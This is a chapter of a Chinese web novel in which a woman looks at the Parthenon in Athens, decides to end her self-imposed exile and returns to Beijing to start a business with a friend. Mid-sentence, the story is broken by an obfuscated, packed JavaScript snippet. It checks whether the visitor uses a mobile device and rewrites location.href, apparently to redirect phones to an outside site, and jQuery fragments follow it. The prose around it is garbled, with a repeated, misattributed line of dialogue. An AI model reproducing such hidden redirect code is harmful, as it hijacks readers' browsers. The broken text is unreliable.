19. Chapter 19
作品:《让她降落》 夜色渐深,吕卡维多斯山顶只剩零星游客,风大得出奇,掠过耳边时像一把看不见的刀。夏知遥站在观景台前,远远望着帕特农神庙。
她昨天才到的雅典,从佛罗伦萨飞过来那天,她穿着风衣、拎着一个手提箱,落地时阳光正好,出租车司机操着不太流利的英文说:“这里比意大利更安静,适合心情不好的人。”
她只是笑笑,没说什么。她也不知道自己心情好不好,只是觉得那里不能待了。
圣诞节要到了,她走在老桥边的集市上,突然就觉得身边人声太吵,酒也太甜。她买了张票,来了这里。
她抱着胳膊站在原地,帕特农神庙远在山的另一头,嵌在深蓝色的夜幕之中,灯光勾勒出它模糊的轮廓。
那是座已经残缺的建筑,柱子断裂,屋顶塌陷,但它依旧立在那里,千年如一,就像有什么东西,明明早就碎了,却仍然倔强地保留着轮廓。
她望着它,忽然想起那个夜晚,她和周越在床上刚刚做完,那时候他们还没吵架,也没有疲惫。
房间里只开了一盏床头灯,他从她身后抱住她,手指有一下没一下地抚着她的脊背。
那时候他忽然问她:“你还想去哪玩?”
她翻了个身,随口说:“希腊吧,想看神庙。”
他“嗯”了一声,那一声她记得特别清楚,不是随口附和,也不是哄人的语气,而是真的记下了这件事。他接着说:“等我有年假的时候,跟你一起去。”
她比谁都清楚,周越说过的每一句话,他都会做到,他从不是那种随口许愿的人。是她先跑的。
她看到他越来越认真,看到自己快被他爱穿了心的时候,转头逃了。
可现在,她站在这里,真的看到了神庙。而他说话的那张脸,在她脑子里却已经快记不清了。
她站在那里,风从脖颈灌进身体,眼角发酸,喉咙也干涩得难受。她不是想哭,只是风太大了。
风一阵紧一阵地吹,像是要把她从山顶推下去。指尖冻得有点发痒,她下意识地从口袋里摸出手机,点开微信界面。
“周越”那一栏静静躺在最上面。
她盯着那个名字看了很久,点进去,又退出来,再点进去。
指尖在键盘上翻来覆去地敲,断句、删字,又重写。她想说很多话,想告诉他自己不是扔下他,不是故意沉默,只是那时候太乱了,只想着冷静一下。
她甚至写了一大段话,最后却只剩下一句:“我……”
她盯着屏幕上那个字,犹豫了很久,这句话还没来得及发出去,微信弹出新消息,是郑晓天。
【你到底在哪儿呢,连我都不能说?】。
她低头看了一眼,手指悬在屏幕上,没急着回,风吹起她的发,她站在高处,脚下是几千年前的断壁残垣,眼前是山城灯火,仿佛身在时空之外。
她原以为躲得够远,就不会被人找到。
可郑晓天永远有办法找到她,像是她人生里那根从不肯断掉的线。
她缓慢地敲出几个字:【刚从佛罗伦萨来希腊。】
消息秒回:【去看帕特农神庙了吗?】
她没有回文字,只抬起手机,顺手拍了一张夜色下的神庙。
图片发出去之后,她自己也盯着那张照片看了几秒,昏黄灯光勾勒出的轮廓像一位沉默的神,仿佛在审视她现在这副“逃兵”的模样。
郑晓天的下一条话跳了出来:
【你面对这些“死人”的东西,没什么想法吗?】
【你总会死的,夏知遥,总得留下点什么。】
那一瞬间,她眼皮微微跳了下。
他总是这样,笑话她冷血,却比谁都更能一语击中她心里最隐秘的破口。
她很清楚自己为什么一个人跑来这儿—,因为她需要看点比人更长久的东西,才能相信“过去”是可以被放下的,哪怕那过去正困住她。
可郑晓天不把她拉了回来,他劈头盖脸地把现实砸过来,一条条消息像子弹一样:
【我尊重你这浪迹天涯、面朝废墟放飞自我这一套。】
【但我这边公司刚注册完,就差你了,两年前我就说要拉你一起干,后来碰上疫情才搁浅。】
【现在老子准备大展宏图了,你还沉浸在你自己那点小情绪里?】
【听哥一句劝,有什么能比赚钱更重要呢?】
【这可是我最后一次好好邀请你了啊】
她盯着那一串连珠炮一样的话语,手机屏幕在夜色中发着微光,亮得刺眼,她低着头,一动不动地盯着那几行字,像是看到了什么不可挽回的东西。
“最后一次”。
这四个字突然像一把钝刀,慢慢割开她这一个月来用疲惫、冷漠、沉默包裹自己的外壳。
她忽然意识到,她这段时间活得,真的不像“夏知遥”。
从前的她是节奏精准、目标明确的冷面女将,不容质疑,也从不允许自己停下,哪怕偶尔低潮,也会在隔天强行提神、全副武装地回到战场。
可从纽约出走后,她以为自己是在“休息”,却越来越像是一个被世界遗弃的漂流者。她在古迹前沉默、在异国街头穿行、每天醒来都在思考一个问题:“我还要做什么?”
可她怎么想,也找不到答案。
感情被摧毁,生活失序,她以为放空就能复原,可事实是她每天醒来都在否认自己的存在感。连她自己都无法说服自己,这样的日子,是自由,还是溺水。
而郑晓天的一连串微信,就像一根长长的钓线,从很远很远的地方,慢慢拽住她的肩膀,把她从那滞空的半梦中拉回来。
她把手机攥在手里,低着头,在寂静的夜里沉默了很久,直到身后的庙墙投下长长的阴影,有只夜鸟从远处掠过,翅膀扇动的声音掠过她耳边,带来一丝久违的清醒。
她终于抬起头,像做了一个很长的梦,梦里太多沉重的事没有说出口,也太多话不值得再说了。
她点开微信,缓缓打字:【我这就订票,估计2-3天差不多就能回去,回来细聊。】
发完这句,她把手机揣进口袋里,灯光打在神庙的石柱上,像是为离开的旅人点了一盏小小的路灯。
这场放逐,确实该结束了。
消息发出去后,夏知遥没立刻站起来。
她还坐在路边那块冰凉的石阶上,手握着手机,夜风一阵阵吹过,像有人隔着几千年轻轻问她:“你真的准备好了?”
她没有回答,她缓缓点开和周越的微信对话框。
她轻轻合上手机,沉默了一会儿,又重新打开微信,点开朋友圈,调亮一张刚才拍的照片。
帕特农神庙的夜。
橄榄树下,她拍得不清晰,石柱模糊、灯光散成一片,有种不真实的静美。
底下很快跳出“郑晓天点赞”。
她看了一眼,嘴角微微勾起,像是自嘲,又像是认命,是啊,不是所有远行都是为了逃,有时候,是为了决定要不要回来。
她站起身,拍拍衣角的灰,朝山下走去。
夜很深了,路还长,但她终于,转身了。
她没有再回微信,也没有发那条停在“我”字开头的消息。
那晚下山后,她回到酒店,洗了个很长的热水澡。洗到水都快凉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15725767|173106||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了,她才终于擦干身体,站在镜子前,凝视着那个神情陌生的自己。
她打开电脑,定了回国的票。
圣诞节前的航班几乎都满了,只剩凌晨起飞的红眼航班,她毫不犹豫地选了那一班。
她没有告诉周越,那条聊天框依旧停留在最上面,一动不动。
飞机降落时,雪已经下了一夜。
首都机场的跑道被压得干净整齐,机翼外的世界一片寂静,像是被封进了透明玻璃球里。她坐在座位上,看着窗外一点点模糊的光影。
她拎着行李箱穿过长长的廊桥,从B口出来的时候,人潮穿梭不息,接机的人举着牌,有人在打电话,有人在左顾右盼。
她刚走出几步,就在人群缝隙里看到了郑晓天。
他站在一根立柱旁,穿着一件黑色羽绒服,手插在兜里,一眼就认出了她。
看到她的瞬间,他抬起一只手朝她挥了挥,笑得吊儿郎当,声音穿过人流:“哟,回来了?”
她点了下头,走近,随口一瞥她:“怎么瘦成这样?在国外受虐了?”语气带着惯常的调侃。
郑晓天接过来,随手拎在手上,低头打量她一眼:“怎么瘦成这样?在国外受虐了?”
夏知遥没接话,只是淡淡地看了他一眼,说:“每天走几万步,肯定瘦。”
郑晓天“啧”了一声,乐了:“也是,就欧洲那个破地方,基本靠走。”
他拉着行李往外走了几步,又忽然回头问:“不过你最早那段时间,好像没在欧洲吧?”
夏知遥脚步一顿,侧头看了他一眼,语气平平:“你怎么知道。”
他笑了笑,把行李箱往车后备箱一放,指了指行李侧边那张皱巴巴的行李标签:“你箱子上的‘JFK’还没撕呢。”
那一瞬间,夏知遥没说话,她低头看了眼那个贴纸,手指微微动了动,终究没伸过去撕。
郑晓天没再继续追问,只拉开后备箱,把行李抬了进去:“纽约到底有谁在啊?你啊,下次要逃命,记得先清点战场。”
夏知遥靠在副驾驶车门边,轻轻吐了口气,像是笑了笑,又像什么都没说。
回去的路上,雪还在下,大片大片地落在车窗上,雨刮器一下一下扫过,发出规律的“哒哒”声。
车里很静,只有空调的低鸣声和街道上偶尔划过的车灯光影。郑晓天握着方向盘,余光一直在看她。
她坐在副驾驶上,目光望着窗外,城市还在节前的喧闹中,雪却压低了一切的声音,连红绿灯都显得迟缓。
走到半路,郑晓天突然开口,声音不大,却直截了当:“你想好了吗?”
她没有立刻回答。只是伸手把车窗往下摇了一点点,让冷风钻进来,吹动她的发梢。几秒钟后,她才偏过头,看着他,眼神清亮而坚定。
“想好了,”她说,嗓音略哑,但字字分明,“咱们开干吧。”
郑晓天侧头看了她一眼,没笑,嘴角却慢慢扬起来,露出那种她太熟悉的、吊儿郎当却认真的表情。
“这就对了嘛,谁能跟钱过不去呢?”
过了会儿,他又开口,语气放缓了些:“我多嘴一句,章路远那边,你处理好了吗?”
夏知遥没回头,只盯着前方雪夜模糊的路灯线条,嗓音低下来:“逃是没用的。”
她顿了一下,轻轻吐出后半句:“我正准备去面对。”
这句话说出口时,郑晓天忽然没再说什么,他只是点了点头,目光重新看向前方,像是对她的回应,也像是给这句承诺盖了章。
车继续驶进风雪之中,城市还没苏醒,而她,已经不再迷路。